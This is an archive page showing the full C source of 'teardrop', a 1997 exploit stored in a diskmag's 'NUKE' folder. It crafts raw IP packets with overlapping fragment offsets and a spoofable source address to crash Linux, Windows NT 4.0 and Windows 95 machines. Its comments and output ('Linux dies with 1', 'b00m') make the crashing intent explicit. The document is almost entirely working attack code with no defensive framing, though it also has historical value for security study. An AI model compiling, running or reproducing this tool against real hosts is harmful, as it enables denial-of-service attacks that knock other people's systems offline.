home *** CD-ROM | disk | FTP | other *** search
/ No Fragments Archive 10: Diskmags / nf_archive_10.iso / MAGS / FALKMAG / FKM_10H.ZIP / FKM_010 / NUKE.ZIP / NUKE / TEARDROP.C < prev    next >
C/C++ Source or Header  |  1998-11-23  |  7KB  |  217 lines

  1.  
  2. /*
  3.  *  Copyright (c) 1997 route|daemon9  <route@infonexus.com> 11.3.97
  4.  *
  5.  *  Linux/NT/95 Overlap frag bug exploit
  6.  *
  7.  *  Exploits the overlapping IP fragment bug present in all Linux kernels and
  8.  *  NT 4.0 / Windows 95 (others?)
  9.  *
  10.  *  Based off of:   flip.c by klepto
  11.  *  Compiles on:    Linux, *BSD*
  12.  *
  13.  *  gcc -O2 teardrop.c -o teardrop
  14.  *      OR
  15.  *  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
  16.  */
  17.  
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <unistd.h>
  21. #include <string.h>
  22. #include <netdb.h>
  23. #include <netinet/in.h>
  24. #include <netinet/udp.h>
  25. #include <arpa/inet.h>
  26. #include <sys/types.h>
  27. #include <sys/time.h>
  28. #include <sys/socket.h>
  29.  
  30. #ifdef STRANGE_BSD_BYTE_ORDERING_THING
  31.                         /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
  32. #define FIX(n)  (n)
  33. #else                   /* OpenBSD 2.1, all Linux */
  34. #define FIX(n)  htons(n)
  35. #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */
  36.  
  37. #define IP_MF   0x2000  /* More IP fragment en route */
  38. #define IPH     0x14    /* IP header size */
  39. #define UDPH    0x8     /* UDP header size */
  40. #define PADDING 0x1c    /* datagram frame padding for first packet */
  41. #define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
  42. #define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can
  43.                          * withstand maybe 5 or 10 sometimes...  Experiment.
  44.                          */
  45. void usage(u_char *);
  46. u_long name_resolve(u_char *);
  47. u_short in_cksum(u_short *, int);
  48. void send_frags(int, u_long, u_long, u_short, u_short);
  49.  
  50. int main(int argc, char **argv)
  51. {
  52.     int one = 1, count = 0, i, rip_sock;
  53.     u_long  src_ip = 0, dst_ip = 0;
  54.     u_short src_prt = 0, dst_prt = 0;
  55.     struct in_addr addr;
  56.  
  57.     fprintf(stderr, "teardrop   route|daemon9\n\n");
  58.  
  59.     if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  60.     {
  61.         perror("raw socket");
  62.         exit(1);
  63.     }
  64.     if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
  65.         < 0)
  66.     {
  67.         perror("IP_HDRINCL");
  68.         exit(1);
  69.     }
  70.     if (argc < 3) usage(argv[0]);
  71.     if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
  72.     {
  73.         fprintf(stderr, "What the hell kind of IP address is that?\n");
  74.         exit(1);
  75.     }
  76.  
  77.     while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
  78.     {
  79.         switch (i)
  80.         {
  81.             case 's':               /* source port (should be emphemeral) */
  82.                 src_prt = (u_short)atoi(optarg);
  83.                 break;
  84.             case 't':               /* dest port (DNS, anyone?) */
  85.                 dst_prt = (u_short)atoi(optarg);
  86.                 break;
  87.             case 'n':               /* number to send */
  88.                 count   = atoi(optarg);
  89.                 break;
  90.             default :
  91.                 usage(argv[0]);
  92.                 break;              /* NOTREACHED */
  93.         }
  94.     }
  95.     srandom((unsigned)(time((time_t)0)));
  96.     if (!src_prt) src_prt = (random() % 0xffff);
  97.     if (!dst_prt) dst_prt = (random() % 0xffff);
  98.     if (!count)   count   = COUNT;
  99.  
  100.     fprintf(stderr, "Death on flaxen wings:\n");
  101.     addr.s_addr = src_ip;
  102.     fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
  103.     addr.s_addr = dst_ip;
  104.     fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
  105.     fprintf(stderr, " Amt: %5d\n", count);
  106.     fprintf(stderr, "[ ");
  107.  
  108.     for (i = 0; i < count; i++)
  109.     {
  110.         send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
  111.         fprintf(stderr, "b00m ");
  112.         usleep(500);
  113.     }
  114.     fprintf(stderr, "]\n");
  115.     return (0);
  116. }
  117.  
  118. /*
  119.  *  Send two IP fragments with pathological offsets.  We use an implementation
  120.  *  independent way of assembling network packets that does not rely on any of
  121.  *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
  122.  */
  123.  
  124. void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
  125.                 u_short dst_prt)
  126. {
  127.     u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
  128.     u_char byte;                            /* a byte */
  129.     struct sockaddr_in sin;                 /* socket protocol structure */
  130.  
  131.     sin.sin_family      = AF_INET;
  132.     sin.sin_port        = src_prt;
  133.     sin.sin_addr.s_addr = dst_ip;
  134.  
  135.     /*
  136.      * Grab some memory for our packet, align p_ptr to point at the beginning
  137.      * of our packet, and then fill it with zeros.
  138.      */
  139.     packet = (u_char *)malloc(IPH + UDPH + PADDING);
  140.     p_ptr  = packet;
  141.     bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
  142.  
  143.     byte = 0x45;                        /* IP version and header length */
  144.     memcpy(p_ptr, &byte, sizeof(u_char));
  145.     p_ptr += 2;                         /* IP TOS (skipped) */
  146.     *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
  147.     p_ptr += 2;
  148.     *((u_short *)p_ptr) = htons(242);   /* IP id */
  149.     p_ptr += 2;
  150.     *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
  151.     p_ptr += 2;
  152.     *((u_short *)p_ptr) = 0x40;         /* IP TTL */
  153.     byte = IPPROTO_UDP;
  154.     memcpy(p_ptr + 1, &byte, sizeof(u_char));
  155.     p_ptr += 4;                         /* IP checksum filled in by kernel */
  156.     *((u_long *)p_ptr) = src_ip;        /* IP source address */
  157.     p_ptr += 4;
  158.     *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
  159.     p_ptr += 4;
  160.     *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
  161.     p_ptr += 2;
  162.     *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
  163.     p_ptr += 2;
  164.     *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */
  165.  
  166.     if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
  167.                 sizeof(struct sockaddr)) == -1)
  168.     {
  169.         perror("\nsendto");
  170.         free(packet);
  171.         exit(1);
  172.     }
  173.  
  174.     /*  We set the fragment offset to be inside of the previous packet's
  175.      *  payload (it overlaps inside the previous packet) but do not include
  176.      *  enough payload to cover complete the datagram.  Just the header will
  177.      *  do, but to crash NT/95 machines, a bit larger of packet seems to work
  178.      *  better.
  179.      */
  180.     p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */
  181.     *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
  182.     p_ptr += 4;                 /* IP offset is 6 bytes into the header */
  183.     *((u_short *)p_ptr) = FIX(MAGIC);
  184.  
  185.     if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
  186.                 sizeof(struct sockaddr)) == -1)
  187.     {
  188.         perror("\nsendto");
  189.         free(packet);
  190.         exit(1);
  191.     }
  192.     free(packet);
  193. }
  194.  
  195. u_long name_resolve(u_char *host_name)
  196. {
  197.     struct in_addr addr;
  198.     struct hostent *host_ent;
  199.  
  200.     if ((addr.s_addr = inet_addr(host_name)) == -1)
  201.     {
  202.         if (!(host_ent = gethostbyname(host_name))) return (0);
  203.         bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
  204.     }
  205.     return (addr.s_addr);
  206. }
  207.  
  208. void usage(u_char *name)
  209. {
  210.     fprintf(stderr,
  211.             "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
  212.             name);
  213.     exit(0);
  214. }
  215.  
  216. /* EOF */
  217.